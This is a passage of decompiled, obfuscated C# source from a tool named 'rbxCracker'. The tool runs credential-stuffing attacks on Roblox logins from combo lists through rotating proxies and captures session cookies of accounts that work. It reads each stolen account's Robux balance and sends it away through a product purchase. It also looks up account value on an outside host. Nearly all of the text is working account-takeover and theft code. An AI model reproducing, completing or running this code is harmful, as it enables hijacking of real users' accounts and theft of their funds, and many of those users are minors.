  782. CCMDictionary.ISymbolVariable(ConsoleColor.Green, "[Good] - " + string_0);
  783. CCMDictionary.ArraySortHelper2.WriteLine(string_0 + ":" + string_1);
  784. CCMDictionary.OperationCanceledException++;
  785. CCMDictionary.KeyedCollection2++;
  786. flag = true;
  787. }
  788. else
  789. {
  790. CCMDictionary.ISymbolVariable(ConsoleColor.Red, "[Bad] - " + string_0);
  791. CCMDictionary.KeyedCollection2++;
  792. flag = true;
  793. }
  794. }
  795. }
  796. catch (HttpException ex)
  797. {
  798. CorCallingConvention.ObfuscateAssemblyAttribute.IComparer(ConsoleColor.Magenta, SoapNmtokens.StreamTokenReader(new object[]
  799. {
  800. "[Error] - ",
  801. ex.Status,
  802. " - ",
  803. string_0
  804. }));
  805. CCMDictionary.SafeCompressedStackHandle++;
  806. }
  807. Console.Title = MethodInfoIClientFormatterSinkProvider.FXAssembly(new string[]
  808. {
  809. "rbxCracker [Threads: ",
  810. Convert.ToString(CCMDictionary.IContextProperty),
  811. "] [Combo: ",
  812. Convert.ToString(CCMDictionary.KeyedCollection2),
  813. "/",
  814. Convert.ToString(CCMDictionary.IdentityNotMappedException.Count),
  815. "] [Valid: ",
  816. Convert.ToString(CCMDictionary.OperationCanceledException),
  817. "] [Retries: ",
  818. Convert.ToString(CCMDictionary.SafeCompressedStackHandle),
  819. "]"
  820. });
  821. }
  822. while (!flag);
  823. }
  824.  
  825. // Token: 0x06000075 RID: 117 RVA: 0x00010748 File Offset: 0x0000E948
  826. private static void DefaultMemberAttribute(string string_0, string string_1, long long_0)
  827. {
  828. <Module>.ReadDelegate(2);
  829. bool flag = false;
  830. bool flag2 = false;
  831. int num = 0;
  832. while (!flag)
  833. {
  834. if (!(string_0 == "") && (string_0 != null || !(string_1 == "")) && string_1 != null)
  835. {
  836. if (num >= 5 && !CCMDictionary.SpecialNameAttribute)
  837. {
  838. goto IL_1137;
  839. }
  840. if (!flag2)
  841. {
  842. CookieDictionary cookieDictionary = new CookieDictionary(false);
  843. try
  844. {
  845. using (HttpRequest httpRequest = new HttpRequest())
  846. {
  847. httpRequest.UserAgent = CCMDictionary.Nullable1();
  848. httpRequest.AllowAutoRedirect = false;
  849. httpRequest.Cookies = cookieDictionary;
  850. httpRequest.ConnectTimeout = 5000;
  851. httpRequest.ReadWriteTimeout = 5000;
  852. httpRequest.AddField("username", string_0).AddField("password", string_1);
  853. string text = httpRequest.Post("https://www.roblox.com/newlogin").ToString();
  854. if (!text.Contains("/home?Nl=true"))
  855. {
  856. if (!text.Contains("/login/twostepverification") || text.Contains("twoStepVerificationPageUrl"))
  857. {
  858. if (!text.Contains("NotApproved.aspx"))
  859. {
  860. if (text.Contains("/Login/SecurityNotification"))
  861. {
  862. CorCallingConvention.ObfuscateAssemblyAttribute.IComparer(ConsoleColor.Red, MethodInfoIClientFormatterSinkProvider.FXAssembly(new string[]
  863. {
  864. "[Bad] - ",
  865. string_0,
  866. ":",
  867. string_1,
  868. " - Security notification received."
  869. }));
  870. CCMDictionary.KeyedCollection2++;
  871. flag = true;
  872. }
  873. else if (!text.Contains("Your username or password is incorrect. Please check them and try again."))
  874. {
  875. if (!text.Contains("The words you typed didn&#39;t match the picture. Please try again."))
  876. {
  877. if (text.Contains("request-error"))
  878. {
  879. CCMDictionary.ISymbolVariable(ConsoleColor.Red, "[Bad] - " + string_0 + ":" + string_1);
  880. CCMDictionary.KeyedCollection2++;
  881. flag = true;
  882. }
  883. else if (!text.Contains("UnsafeInput.aspx"))
  884. {
  885. CCMDictionary.ISymbolVariable(ConsoleColor.DarkMagenta, "[Unknown] - " + string_0 + ":" + string_1);
  886. CCMDictionary.SafeCompressedStackHandle++;
  887. }
  888. else
  889. {
  890. CorCallingConvention.ObfuscateAssemblyAttribute.IComparer(ConsoleColor.Red, MethodInfoIClientFormatterSinkProvider.FXAssembly(new string[]
  891. {
  892. "[Bad] - ",
  893. string_0,
  894. ":",
  895. string_1,
  896. " - Unsafe Input."
  897. }));
  898. CCMDictionary.KeyedCollection2++;
  899. flag = true;
  900. }
  901. }
  902. else
  903. {
  904. CCMDictionary.ISymbolVariable(ConsoleColor.DarkRed, "[Captcha] - " + string_0 + ":" + string_1);
  905. flag2 = true;
  906. CCMDictionary.SafeCompressedStackHandle++;
  907. num++;
  908. }
  909. }
  910. else
  911. {
  912. CCMDictionary.ISymbolVariable(ConsoleColor.Red, "[Bad] - " + string_0 + ":" + string_1);
  913. CCMDictionary.KeyedCollection2++;
  914. flag = true;
  915. }
  916. }
  917. else
  918. {
  919. CorCallingConvention.ObfuscateAssemblyAttribute.IComparer(ConsoleColor.Red, MethodInfoIClientFormatterSinkProvider.FXAssembly(new string[]
  920. {
  921. "[Bad] - ",
  922. string_0,
  923. ":",
  924. string_1,
  925. " - Account has been deleted."
  926. }));
  927. CCMDictionary.KeyedCollection2++;
  928. flag = true;
  929. }
  930. }
  931. else
  932. {
  933. CorCallingConvention.ObfuscateAssemblyAttribute.IComparer(ConsoleColor.Red, MethodInfoIClientFormatterSinkProvider.FXAssembly(new string[]
  934. {
  935. "[Bad] - ",
  936. string_0,
  937. ":",
  938. string_1,
  939. " - Account has Two Step Verification."
  940. }));
  941. CCMDictionary.KeyedCollection2++;
  942. flag = true;
  943. }
  944. }
  945. else if (!httpRequest.Cookies.ToString().Contains("ROBLOSECURITY"))
  946. {
  947. CorCallingConvention.ObfuscateAssemblyAttribute.IComparer(ConsoleColor.Red, MethodInfoIClientFormatterSinkProvider.FXAssembly(new string[]
  948. {
  949. "[Bad] - ",
  950. string_0,
  951. ":",
  952. string_1,
  953. " - Coultn't obtain good cookie."
  954. }));
  955. CCMDictionary.KeyedCollection2++;
  956. flag = true;
  957. }
  958. else
  959. {
  960. cookieDictionary = httpRequest.Cookies;
  961. string[] array = CCMDictionary.IEnumerator(cookieDictionary);
  962. if (!(array[0] == "0"))
  963. {
  964. if (!(array[0] == "1"))
  965. {
  966. int num2 = CCMDictionary.BinaryReader(cookieDictionary);
  967. CCMDictionary.ISymbolVariable(ConsoleColor.DarkYellow, "[Found] " + Convert.ToString(num2) + " Robux - Preparing to send!");
  968. if (num2 < 5)
  969. {
  970. CCMDictionary.ISymbolVariable(ConsoleColor.Green, "[Good] - Account has less than 5 robux.");
  971. CCMDictionary.KeyedCollection2++;
  972. flag = true;
  973. }
  974. else
  975. {
  976. string text2 = CCMDictionary.MethodImplAttribute[Convert.ToInt32(long_0) % CCMDictionary.MethodImplAttribute.Count].Trim();
  977. if (Regex.IsMatch(text2, "^\\d+$"))
  978. {
  979. CCMDictionary.OperationCanceledException++;
  980. CCMDictionary.KeyedCollection2++;
  981. flag = true;
  982. CCMDictionary.CalendarTable += num2;
  983. CCMDictionary.EncoderFallback(num2, text2);
  984. CCMDictionary.Predicate1(cookieDictionary, num2, text2);
  985. }
  986. else
  987. {
  988. CCMDictionary.ISymbolVariable(ConsoleColor.Magenta, "[Error] - Product ID not in valid format.");
  989. CCMDictionary.SafeCompressedStackHandle++;
  990. num++;
  991. }
  992. }
  993. }
  994. else
  995. {
  996. CorCallingConvention.ObfuscateAssemblyAttribute.IComparer(ConsoleColor.Red, MethodInfoIClientFormatterSinkProvider.FXAssembly(new string[]
  997. {
  998. "[Bad] - ",
  999. string_0,
  1000. ":",
  1001. string_1,
  1002. " - Account has been deleted."
  1003. }));
  1004. CCMDictionary.KeyedCollection2++;
  1005. flag = true;
  1006. }
  1007. }
  1008. else
  1009. {
  1010. CorCallingConvention.ObfuscateAssemblyAttribute.IComparer(ConsoleColor.Red, MethodInfoIClientFormatterSinkProvider.FXAssembly(new string[]
  1011. {
  1012. "[Bad] - ",
  1013. string_0,
  1014. ":",
  1015. string_1,
  1016. " - Coultn't obtain account information."
  1017. }));
  1018. CCMDictionary.KeyedCollection2++;
  1019. flag = true;
  1020. }
  1021. }
  1022. }
  1023. goto IL_1171;
  1024. }
  1025. catch (HttpException ex)
  1026. {
  1027. CorCallingConvention.ObfuscateAssemblyAttribute.IComparer(ConsoleColor.Magenta, SoapNmtokens.StreamTokenReader(new object[]
  1028. {
  1029. "[Error] - ",
  1030. ex.Status,
  1031. " - ",
  1032. string_0,
  1033. ":",
  1034. string_1
  1035. }));
  1036. CCMDictionary.SafeCompressedStackHandle++;
  1037. num++;
  1038. goto IL_1171;
  1039. }
  1040. goto IL_1137;
  1041. }
  1042. if (CCMDictionary.HostExecutionContextSwitcher.Count != 0)
  1043. {
  1044. string text3 = CCMDictionary.HostExecutionContextSwitcher[CCMDictionary.ICollection1.Next(0, CCMDictionary.HostExecutionContextSwitcher.Count)];
  1045. CookieDictionary cookieDictionary2 = new CookieDictionary(false);
  1046. if (text3 == "" || !text3.Contains(":"))
  1047. {
  1048. CCMDictionary.ISymbolVariable(ConsoleColor.Magenta, "[Error] - Bad proxy format.");
  1049. CCMDictionary.SafeCompressedStackHandle++;
  1050. goto IL_1171;
  1051. }
  1052. try
  1053. {
  1054. using (HttpRequest httpRequest2 = new HttpRequest())
  1055. {
  1056. httpRequest2.UserAgent = CCMDictionary.Nullable1();
  1057. if (CCMDictionary.TargetParameterCountException == "http")
  1058. {
  1059. httpRequest2.Proxy = HttpProxyClient.Parse(text3);
  1060. }
  1061. else if (CCMDictionary.TargetParameterCountException == "socks4")
  1062. {
  1063. httpRequest2.Proxy = Socks4ProxyClient.Parse(text3);
  1064. }
  1065. else if (CCMDictionary.TargetParameterCountException == "socks5")
  1066. {
  1067. httpRequest2.Proxy = Socks5ProxyClient.Parse(text3);
  1068. }
  1069. httpRequest2.AllowAutoRedirect = false;
  1070. httpRequest2.Cookies = cookieDictionary2;
  1071. httpRequest2.ConnectTimeout = 5000;
  1072. httpRequest2.ReadWriteTimeout = 5000;
  1073. httpRequest2.AddField("username", string_0).AddField("password", string_1);
  1074. string text4 = httpRequest2.Post("https://www.roblox.com/newlogin").ToString();
  1075. if (text4.Contains("/home?Nl=true"))
  1076. {
  1077. if (httpRequest2.Cookies.ToString().Contains("ROBLOSECURITY"))
  1078. {
  1079. cookieDictionary2 = httpRequest2.Cookies;
  1080. string[] array2 = CCMDictionary.IEnumerator(cookieDictionary2);
  1081. if (array2[0] == "0")
  1082. {
  1083. CorCallingConvention.ObfuscateAssemblyAttribute.IComparer(ConsoleColor.Red, MethodInfoIClientFormatterSinkProvider.FXAssembly(new string[]
  1084. {
  1085. "[Bad] - ",
  1086. string_0,
  1087. ":",
  1088. string_1,
  1089. " - Coultn't obtain account information."
  1090. }));
  1091. CCMDictionary.KeyedCollection2++;
  1092. flag = true;
  1093. }
  1094. else if (!(array2[0] == "1"))
  1095. {
  1096. int num3 = CCMDictionary.BinaryReader(cookieDictionary2);
  1097. CCMDictionary.ISymbolVariable(ConsoleColor.DarkYellow, "[Found] " + Convert.ToString(num3) + " Robux - Preparing to send!");
  1098. if (num3 >= 5)
  1099. {
  1100. string text5 = CCMDictionary.MethodImplAttribute[Convert.ToInt32(long_0) % CCMDictionary.MethodImplAttribute.Count].Trim();
  1101. if (Regex.IsMatch(text5, "^\\d+$"))
  1102. {
  1103. CCMDictionary.OperationCanceledException++;
  1104. CCMDictionary.KeyedCollection2++;
  1105. flag = true;
  1106. CCMDictionary.CalendarTable += num3;
  1107. CCMDictionary.EncoderFallback(num3, text5);
  1108. CCMDictionary.Predicate1(cookieDictionary2, num3, text5);
  1109. }
  1110. else
  1111. {
  1112. CCMDictionary.ISymbolVariable(ConsoleColor.Magenta, "[Error] - Product ID not in valid format.");
  1113. CCMDictionary.SafeCompressedStackHandle++;
  1114. num++;
  1115. }
  1116. }
  1117. else
  1118. {
  1119. CCMDictionary.ISymbolVariable(ConsoleColor.Green, "[Good] - Account has less than 5 robux.");
  1120. CCMDictionary.KeyedCollection2++;
  1121. flag = true;
  1122. }
  1123. }
  1124. else
  1125. {
  1126. CorCallingConvention.ObfuscateAssemblyAttribute.IComparer(ConsoleColor.Red, MethodInfoIClientFormatterSinkProvider.FXAssembly(new string[]
  1127. {
  1128. "[Bad] - ",
  1129. string_0,
  1130. ":",
  1131. string_1,
  1132. " - Account has been deleted."
  1133. }));
  1134. CCMDictionary.KeyedCollection2++;
  1135. flag = true;
  1136. }
  1137. }
  1138. else
  1139. {
  1140. CorCallingConvention.ObfuscateAssemblyAttribute.IComparer(ConsoleColor.Red, MethodInfoIClientFormatterSinkProvider.FXAssembly(new string[]
  1141. {
  1142. "[Bad] - ",
  1143. string_0,
  1144. ":",
  1145. string_1,
  1146. " - Coultn't obtain good cookie."
  1147. }));
  1148. CCMDictionary.KeyedCollection2++;
  1149. flag = true;
  1150. }
  1151. }
  1152. else if (text4.Contains("/login/twostepverification") && !text4.Contains("twoStepVerificationPageUrl"))
  1153. {
  1154. CorCallingConvention.ObfuscateAssemblyAttribute.IComparer(ConsoleColor.Red, MethodInfoIClientFormatterSinkProvider.FXAssembly(new string[]
  1155. {
  1156. "[Bad] - ",
  1157. string_0,
  1158. ":",
  1159. string_1,
  1160. " - Account has Two Step Verification."
  1161. }));
  1162. CCMDictionary.KeyedCollection2++;
  1163. flag = true;
  1164. }
  1165. else if (!text4.Contains("NotApproved.aspx"))
  1166. {
  1167. if (text4.Contains("/Login/SecurityNotification"))
  1168. {
  1169. CorCallingConvention.ObfuscateAssemblyAttribute.IComparer(ConsoleColor.Red, MethodInfoIClientFormatterSinkProvider.FXAssembly(new string[]
  1170. {
  1171. "[Bad] - ",
  1172. string_0,
  1173. ":",
  1174. string_1,
  1175. " - Security notification received."
  1176. }));
  1177. CCMDictionary.KeyedCollection2++;
  1178. flag = true;
  1179. }
  1180. else if (text4.Contains("Your username or password is incorrect. Please check them and try again."))
  1181. {
  1182. CCMDictionary.ISymbolVariable(ConsoleColor.Red, "[Bad] - " + string_0 + ":" + string_1);
  1183. CCMDictionary.KeyedCollection2++;
  1184. flag = true;
  1185. }
  1186. else if (text4.Contains("The words you typed didn&#39;t match the picture. Please try again."))
  1187. {
  1188. CCMDictionary.ISymbolVariable(ConsoleColor.DarkRed, "[Captcha] - " + string_0 + ":" + string_1);
  1189. if (!CCMDictionary.BinaryMethodReturnMessage)
  1190. {
  1191. CCMDictionary.HostExecutionContextSwitcher.Remove(text3);
  1192. }
  1193. CCMDictionary.SafeCompressedStackHandle++;
  1194. num++;
  1195. }
  1196. else if (text4.Contains("request-error"))
  1197. {
  1198. CCMDictionary.ISymbolVariable(ConsoleColor.Red, "[Bad] - " + string_0 + ":" + string_1);
  1199. CCMDictionary.KeyedCollection2++;
  1200. flag = true;
  1201. }
  1202. else if (!text4.Contains("UnsafeInput.aspx"))
  1203. {
  1204. CCMDictionary.ISymbolVariable(ConsoleColor.DarkMagenta, "[Unknown] - " + string_0 + ":" + string_1);
  1205. CCMDictionary.SafeCompressedStackHandle++;
  1206. }
  1207. else
  1208. {
  1209. CorCallingConvention.ObfuscateAssemblyAttribute.IComparer(ConsoleColor.Red, MethodInfoIClientFormatterSinkProvider.FXAssembly(new string[]
  1210. {
  1211. "[Bad] - ",
  1212. string_0,
  1213. ":",
  1214. string_1,
  1215. " - Unsafe Input."
  1216. }));
  1217. CCMDictionary.KeyedCollection2++;
  1218. flag = true;
  1219. }
  1220. }
  1221. else
  1222. {
  1223. CorCallingConvention.ObfuscateAssemblyAttribute.IComparer(ConsoleColor.Red, MethodInfoIClientFormatterSinkProvider.FXAssembly(new string[]
  1224. {
  1225. "[Bad] - ",
  1226. string_0,
  1227. ":",
  1228. string_1,
  1229. " - Account has been deleted."
  1230. }));
  1231. CCMDictionary.KeyedCollection2++;
  1232. flag = true;
  1233. }
  1234. }
  1235. goto IL_1171;
  1236. }
  1237. catch (HttpException ex2)
  1238. {
  1239. CorCallingConvention.ObfuscateAssemblyAttribute.IComparer(ConsoleColor.Magenta, SoapNmtokens.StreamTokenReader(new object[]
  1240. {
  1241. "[Error] - ",
  1242. ex2.Status,
  1243. " - ",
  1244. text3,
  1245. " - ",
  1246. string_0,
  1247. ":",
  1248. string_1
  1249. }));
  1250. if (!CCMDictionary.BinaryMethodReturnMessage)
  1251. {
  1252. CCMDictionary.HostExecutionContextSwitcher.Remove(text3);
  1253. }
  1254. CCMDictionary.SafeCompressedStackHandle++;
  1255. num++;
  1256. goto IL_1171;
  1257. }
  1258. }
  1259. CCMDictionary.ISymbolVariable(ConsoleColor.Magenta, "[Error] - No proxies available - " + string_0 + ":" + string_1);
  1260. CCMDictionary.KeyedCollection2++;
  1261. flag = true;
  1262. IL_1171:
  1263. Console.Title = MethodInfoIClientFormatterSinkProvider.FXAssembly(new string[]
  1264. {
  1265. "rbxCracker [Threads: ",
  1266. CspAlgorithmType.SafeLsaMemoryHandle((CCMDictionary.MethodImplAttribute.Count > 0) ? CCMDictionary.MethodImplAttribute.Count : 1),
  1267. "] [Combo: ",
  1268. Convert.ToString(CCMDictionary.KeyedCollection2),
  1269. "/",
  1270. Convert.ToString(CCMDictionary.IdentityNotMappedException.Count),
  1271. "] [Proxies: ",
  1272. Convert.ToString(CCMDictionary.HostExecutionContextSwitcher.Count),
  1273. "] [Hits: ",
  1274. Convert.ToString(CCMDictionary.OperationCanceledException),
  1275. "] [Robux Sent: ",
  1276. Convert.ToString(CCMDictionary.CalendarTable),
  1277. "] [Retries: ",
  1278. Convert.ToString(CCMDictionary.SafeCompressedStackHandle),
  1279. "]"
  1280. });
  1281. continue;
  1282. IL_1137:
  1283. CCMDictionary.ISymbolVariable(ConsoleColor.Yellow, "[Failed] - " + string_0 + ":" + string_1);
  1284. CCMDictionary.KeyedCollection2++;
  1285. flag = true;
  1286. goto IL_1171;
  1287. }
  1288. CCMDictionary.ISymbolVariable(ConsoleColor.Magenta, "[Error] - Bad combo given.");
  1289. flag = true;
  1290. CCMDictionary.KeyedCollection2++;
  1291. }
  1292. }
  1293.  
  1294. // Token: 0x06000076 RID: 118
  1295. private static void IsolationInterop(string string_0, string string_1)
  1296. {
  1297. bool flag = false;
  1298. int num = 0;
  1299. if (!(string_0 == "") && (string_0 != null || !(string_1 == "")) && string_1 != null)
  1300. {
  1301. do
  1302. {
  1303. if (num < 5 || CCMDictionary.SpecialNameAttribute)
  1304. {
  1305. if (CCMDictionary.HostExecutionContextSwitcher.Count != 0)
  1306. {
  1307. string text = CCMDictionary.HostExecutionContextSwitcher[CCMDictionary.ICollection1.Next(0, CCMDictionary.HostExecutionContextSwitcher.Count)];
  1308. CookieDictionary cookieDictionary = new CookieDictionary(false);
  1309. if (!(text == "") && text.Contains(":"))
  1310. {
  1311. try
  1312. {
  1313. using (HttpRequest httpRequest = new HttpRequest())
  1314. {
  1315. httpRequest.UserAgent = CCMDictionary.Nullable1();
  1316. if (CCMDictionary.TargetParameterCountException == "http")
  1317. {
  1318. httpRequest.Proxy = HttpProxyClient.Parse(text);
  1319. }
  1320. else if (CCMDictionary.TargetParameterCountException == "socks4")
  1321. {
  1322. httpRequest.Proxy = Socks4ProxyClient.Parse(text);
  1323. }
  1324. else if (CCMDictionary.TargetParameterCountException == "socks5")
  1325. {
  1326. httpRequest.Proxy = Socks5ProxyClient.Parse(text);
  1327. }
  1328. httpRequest.AllowAutoRedirect = false;
  1329. httpRequest.Cookies = cookieDictionary;
  1330. httpRequest.ConnectTimeout = 5000;
  1331. httpRequest.ReadWriteTimeout = 5000;
  1332. httpRequest.AddField("username", string_0).AddField("password", string_1);
  1333. string text2 = httpRequest.Post("https://api.roblox.com/v2/login").ToString();
  1334. if (text2.Contains("userId"))
  1335. {
  1336. if (httpRequest.Cookies.ToString().Contains("ROBLOSECURITY"))
  1337. {
  1338. cookieDictionary = httpRequest.Cookies;
  1339. string[] array = CCMDictionary.IEnumerator(cookieDictionary);
  1340. if (array[0] == "0")
  1341. {
  1342. CCMDictionary.KeyedCollection2++;
  1343. flag = true;
  1344. }
  1345. else if (array[0] == "1")
  1346. {
  1347. CCMDictionary.KeyedCollection2++;
  1348. flag = true;
  1349. }
  1350. else
  1351. {
  1352. string[] array2 = CCMDictionary.Debugger(cookieDictionary, string_0 + ":" + string_1, false);
  1353. string text3 = (array2[1] == "Yes") ? CCMDictionary.AppDomainManagerInitializationOptions(array[0]) : array2[1];
  1354. string text4 = CCMDictionary.ISymbolNamespace(cookieDictionary);
  1355. string text5 = new HttpRequest().Get("https://proxies24.com/rbxCrack/rap.php?id=" + array[0], null).ToString();
  1356. string string_2 = new HttpRequest().Get("https://proxies24.com/rbxCrack/collectibles.php?id=" + array[0], null).ToString();
  1357. int num2;
  1358. if (int.TryParse(text5, out num2))
  1359. {
  1360. CCMDictionary.CATEGORY = CCMDictionary.CATEGORY;
  1361. }
  1362. CCMDictionary.UIPermissionAttribute(string_0 + ":" + string_1, array[1], array2[0], text5, text3, array[2], text4, string_2, false);
  1363. Console.WriteLine("[Good] - ", new object[]
  1364. {
  1365. string_0,
  1366. ":",
  1367. string_1,
  1368. " - Verified: ",
  1369. array[1],
  1370. " - Robux: ",
  1371. array2[0],
  1372. " - RAP: ",
  1373. text5,
  1374. " - Builders Club: ",
  1375. text3,
  1376. " - Over 13: ",
  1377. array[2],
  1378. " - Joined: ",
  1379. text4
  1380. });
  1381. CCMDictionary.OperationCanceledException++;
  1382. CCMDictionary.KeyedCollection2++;
  1383. flag = true;
  1384. }
  1385. }
  1386. else
  1387. {
  1388. Console.WriteLine(new string[]
  1389. {
  1390. "[Bad] - ",
  1391. string_0,
  1392. ":",
  1393. string_1,
  1394. " - Coultn't obtain good cookie."
  1395. });
  1396. CCMDictionary.KeyedCollection2++;
  1397. flag = true;
  1398. }
  1399. CCMDictionary.SafeCertContextHandle.WriteLine(string_0 + ":" + string_1);
  1400. }
  1401. else if (text2.Contains("/login/twostepverification") && !text2.Contains("twoStepVerificationPageUrl"))
  1402. {
  1403. Console.WriteLine("[Bad] - ", new object[]
  1404. {
  1405. string_0,
  1406. ":",
  1407. string_1,
  1408. " - Account has Two Step Verification."
  1409. });
  1410. CCMDictionary.KeyedCollection2++;
  1411. flag = true;
  1412. }
  1413. else if (text2.Contains("NotApproved.aspx"))
  1414. {
  1415. Console.WriteLine("[Bad] - ", new object[]
  1416. {
  1417. string_0,
  1418. ":",
  1419. string_1,
  1420. " - Account has been deleted."
  1421. });
  1422. CCMDictionary.KeyedCollection2++;
  1423. flag = true;
  1424. }
  1425. else if (text2.Contains("/Login/SecurityNotification"))
  1426. {
  1427. Console.WriteLine("[Bad] - ", new object[]
  1428. {
  1429. string_0,
  1430. ":",
  1431. string_1,
  1432. " - Security notification received."
  1433. });
  1434. CCMDictionary.KeyedCollection2++;
  1435. flag = true;
  1436. }
  1437. else if (text2.Contains("Your username or password is incorrect. Please check them and try again."))
  1438. {
  1439. CCMDictionary.ISymbolVariable(ConsoleColor.Red, "[Bad] - " + string_0 + ":" + string_1);
  1440. CCMDictionary.KeyedCollection2++;
  1441. flag = true;
  1442. }
  1443. else if (text2.Contains("The words you typed didn&#39;t match the picture. Please try again."))
  1444. {
  1445. CCMDictionary.ISymbolVariable(ConsoleColor.DarkRed, "[Captcha] - " + string_0 + ":" + string_1);
  1446. if (!CCMDictionary.BinaryMethodReturnMessage)
  1447. {
  1448. CCMDictionary.HostExecutionContextSwitcher.Remove(text);
  1449. }
  1450. CCMDictionary.SafeCompressedStackHandle++;
  1451. num++;
  1452. }
  1453. else if (text2.Contains("request-error"))
  1454. {
  1455. CCMDictionary.ISymbolVariable(ConsoleColor.Red, "[Bad] - " + string_0 + ":" + string_1);
  1456. CCMDictionary.KeyedCollection2++;
  1457. flag = true;
  1458. }
  1459. else if (!text2.Contains("UnsafeInput.aspx"))
  1460. {
  1461. CCMDictionary.ISymbolVariable(ConsoleColor.DarkMagenta, "[Unknown] - " + string_0 + ":" + string_1);
  1462. CCMDictionary.SafeCompressedStackHandle++;
  1463. }
  1464. else
  1465. {
  1466. Console.WriteLine("[Bad] - ", new object[]
  1467. {
  1468. string_0,
  1469. ":",
  1470. string_1,
  1471. " - Unsafe Input."
  1472. });
  1473. CCMDictionary.KeyedCollection2++;
  1474. flag = true;
  1475. }
  1476. }
  1477. goto IL_66F;
  1478. }
  1479. catch (HttpException ex)
  1480. {
  1481. Console.WriteLine("[Error] - ", new object[]
  1482. {
  1483. ex.Status,
  1484. " - ",
  1485. text,
  1486. " - ",
  1487. string_0,
  1488. ":",
  1489. string_1
  1490. });
  1491. if (!CCMDictionary.BinaryMethodReturnMessage)
  1492. {
  1493. CCMDictionary.HostExecutionContextSwitcher.Remove(text);
  1494. }
  1495. CCMDictionary.SafeCompressedStackHandle++;
  1496. num++;
  1497. goto IL_66F;
  1498. }
  1499. }
  1500. CCMDictionary.ISymbolVariable(ConsoleColor.Magenta, "[Error] - Bad proxy format.");
  1501. CCMDictionary.SafeCompressedStackHandle++;
  1502. }
  1503. else
  1504. {
  1505. CCMDictionary.ISymbolVariable(ConsoleColor.Magenta, "[Error] - No proxies available - " + string_0 + ":" + string_1);
  1506. CCMDictionary.KeyedCollection2++;
  1507. flag = true;
  1508. }
  1509. }
  1510. else
  1511. {
  1512. CCMDictionary.ISymbolVariable(ConsoleColor.Yellow, "[Failed] - " + string_0 + ":" + string_1);
  1513. CCMDictionary.KeyedCollection2++;
  1514. flag = true;
  1515. }
  1516. IL_66F:
  1517. Console.Title = string.Format("rbxCracker [Threads: ", new object[]
  1518. {
  1519. Convert.ToString(CCMDictionary.IContextProperty),
  1520. "] [Combo: ",
  1521. Convert.ToString(CCMDictionary.KeyedCollection2),
  1522. "/",
  1523. Convert.ToString(CCMDictionary.IdentityNotMappedException.Count),
  1524. "] [Proxies: ",
  1525. Convert.ToString(CCMDictionary.HostExecutionContextSwitcher.Count),
  1526. "] [Hits: ",
  1527. Convert.ToString(CCMDictionary.OperationCanceledException),
  1528. "] [Robux: ",
  1529. Convert.ToString(CCMDictionary.CalendarTable),
  1530. "] [RAP: ",
  1531. Convert.ToString(CCMDictionary.CATEGORY),
  1532. "] [BC: ",
  1533. Convert.ToString(CCMDictionary.EventWaitHandleRights),
  1534. "] [Retries: ",
  1535. Convert.ToString(CCMDictionary.SafeCompressedStackHandle),
  1536. "]"
  1537. });
  1538. }
  1539. while (!flag);
  1540. return;
  1541. }
  1542. CCMDictionary.ISymbolVariable(ConsoleColor.Magenta, "[Error] - Bad combo given.");
  1543. flag = true;
  1544. CCMDictionary.KeyedCollection2++;
  1545. }
  1546.  
  1547. // Token: 0x06000077 RID: 119 RVA: 0x000126F0 File Offset: 0x000108F0
  1548. private static string ISymbolNamespace(CookieDictionary cookieDictionary_0)
  1549. {
  1550. <Module>.ReadDelegate(4);
  1551. string result;
  1552. using (HttpRequest httpRequest = new HttpRequest())
  1553. {
  1554. httpRequest.UserAgent = Http.FirefoxUserAgent();
  1555. httpRequest.Cookies = cookieDictionary_0;
  1556. string text = httpRequest.Get("https://www.roblox.com/users/profile", null).ToString();
  1557. if (text.Contains("Join Date"))
  1558. {
  1559. result = WindowsAccountType.SymCustomAttr(WindowsAccountType.SymCustomAttr(text, new string[]
  1560. {
  1561. "Join Date<p class=text-lead>"
  1562. }, StringSplitOptions.None)[1], new string[]
  1563. {
  1564. "<"
  1565. }, StringSplitOptions.None)[0];
  1566. }
  1567. else
  1568. {
  1569. result = "NULL";
  1570. }
  1571. }
  1572. return result;
  1573. }
  1574.  
  1575. // Token: 0x06000078 RID: 120 RVA: 0x000127D8 File Offset: 0x000109D8
  1576. private static string[] IEnumerator(CookieDictionary cookieDictionary_0)
  1577. {
  1578. <Module>.ReadDelegate(5);
  1579. string[] result;
  1580. using (HttpRequest httpRequest = new HttpRequest())
  1581. {
  1582. httpRequest.AllowAutoRedirect = false;
  1583. httpRequest.UserAgent = Http.FirefoxUserAgent();
  1584. httpRequest.Cookies = cookieDictionary_0;
  1585. string text = httpRequest.Get("https://www.roblox.com/my/account/json", null).ToString();
  1586. if (text.Contains("/NewLogin"))
  1587. {
  1588. string[] array = new string[]
  1589. {
  1590. "0",
  1591. "No",
  1592. "No"
  1593. };
  1594. result = array;
  1595. }
  1596. else if (text.Contains("NotApproved"))
  1597. {
  1598. string[] array2 = new string[]
  1599. {
  1600. "1",
  1601. "No",
  1602. "No"
  1603. };
  1604. result = array2;
  1605. }
  1606. else
  1607. {
  1608. string text2 = "0";
  1609. if (text.Contains("UserId"))
  1610. {
  1611. text2 = WindowsAccountType.SymCustomAttr(WindowsAccountType.SymCustomAttr(text, new string[]
  1612. {
  1613. "UserId\":"
  1614. }, StringSplitOptions.None)[1], new string[]
  1615. {
  1616. ","
  1617. }, StringSplitOptions.None)[0];
  1618. }
  1619. string a = "No";
  1620. if (text.Contains("IsEmailVerified"))
  1621. {
  1622. a = WindowsAccountType.SymCustomAttr(WindowsAccountType.SymCustomAttr(text, new string[]
  1623. {
  1624. "IsEmailVerified\":"
  1625. }, StringSplitOptions.None)[1], new string[]
  1626. {
  1627. ","
  1628. }, StringSplitOptions.None)[0];
  1629. }
  1630. string a2 = "No";
  1631. if (text.Contains("UserAbove13"))
  1632. {
  1633. a2 = WindowsAccountType.SymCustomAttr(WindowsAccountType.SymCustomAttr(text, new string[]
  1634. {
  1635. "UserAbove13\":"
  1636. }, StringSplitOptions.None)[1], new string[]
  1637. {
  1638. "}"
  1639. }, StringSplitOptions.None)[0];
  1640. }
  1641. string[] array3 = new string[]
  1642. {
  1643. text2,
  1644. (a == "true") ? "Yes" : "No",
  1645. (a2 == "true") ? "Yes" : "No"
  1646. };
  1647. result = array3;
  1648. }
  1649. }
  1650. return result;
  1651. }
  1652.  
  1653. // Token: 0x06000079 RID: 121 RVA: 0x00012AB8 File Offset: 0x00010CB8
  1654. private static int BinaryReader(CookieDictionary cookieDictionary_0)
  1655. {
  1656. int result;
  1657. using (HttpRequest httpRequest = new HttpRequest())
  1658. {
  1659. httpRequest.UserAgent = Http.FirefoxUserAgent();
